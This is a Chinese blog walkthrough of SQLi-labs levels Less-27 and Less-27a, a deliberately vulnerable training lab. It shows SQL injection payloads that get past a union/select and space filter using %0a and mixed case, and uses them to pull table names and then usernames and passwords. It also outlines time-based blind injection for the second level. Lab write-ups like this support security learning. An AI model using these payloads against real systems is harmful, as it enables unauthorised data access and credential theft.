sqlilabs less-27~27a

less-27

前期判断

在这里插入图片描述
判断为单引号字符注入,这道题说好的拿走了所有的union和select,但是好像还顺走了注释符和空格,经过测试可以用%0a替代空格。
在这里插入图片描述
在这里插入图片描述

先测试看看大写能不能绕过,嗯不能。在这里插入图片描述
再试试双写,双写union能绕过,但是双写select就不行。在这里插入图片描述
再试试大小写混合呢,可以。
在这里插入图片描述

注入

1’UnIoN%0ASeLEcT%0Anull,group_concat(table_name),null%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()and’1’='1

在这里插入图片描述
浏览器没有返回,先来构造一下sql语句。

初次猜测的sql语句:select * from table where id = ''
加上诸如后的sql语句:select * from table where id = '1'UnIoN%0ASeLEcT%0Anull,group_concat(table_name),null%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()and'1'='1'
因为等于1的时候会查询出来Dumb:Dumb 下一行又会跟上union查询的表名。但是他并没有输出,所以原始sql语句后面还有一个limit 0,1
sql语句:select * from table where id = '' limit 0,1

在这里插入图片描述

怎么让它显示第二行内容呢。让第一行搜索为空就能。
在这里插入图片描述
在这里插入图片描述
列名
在这里插入图片描述

'UnIoN%0ASeLEcT%0Anull,group_concat(username),group_concat(password)%0Afrom%0Ausers%0Awhere%0A1%0Aand'1'='1

在这里插入图片描述

源码时间

在这里插入图片描述
老规矩末尾有/s是正则表达式表示不管大小写,\转义。

在这里插入图片描述
sql语句和猜测的一样。

less-27a

前期判断

很容易判断出来是英文双引号注入。
在这里插入图片描述

sql语句

select * from table where id = ""

判断列数的时候发现只会返回正确与否,不会报错,考虑要盲注。
在这里插入图片描述

在这里插入图片描述

盲注

通过if加上sleep()和截取字符来实现盲注。

在这里插入图片描述

写个脚本就可以了
在这里插入图片描述

源码时间

在这里插入图片描述
可以看到打印sql报错被注释掉了

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值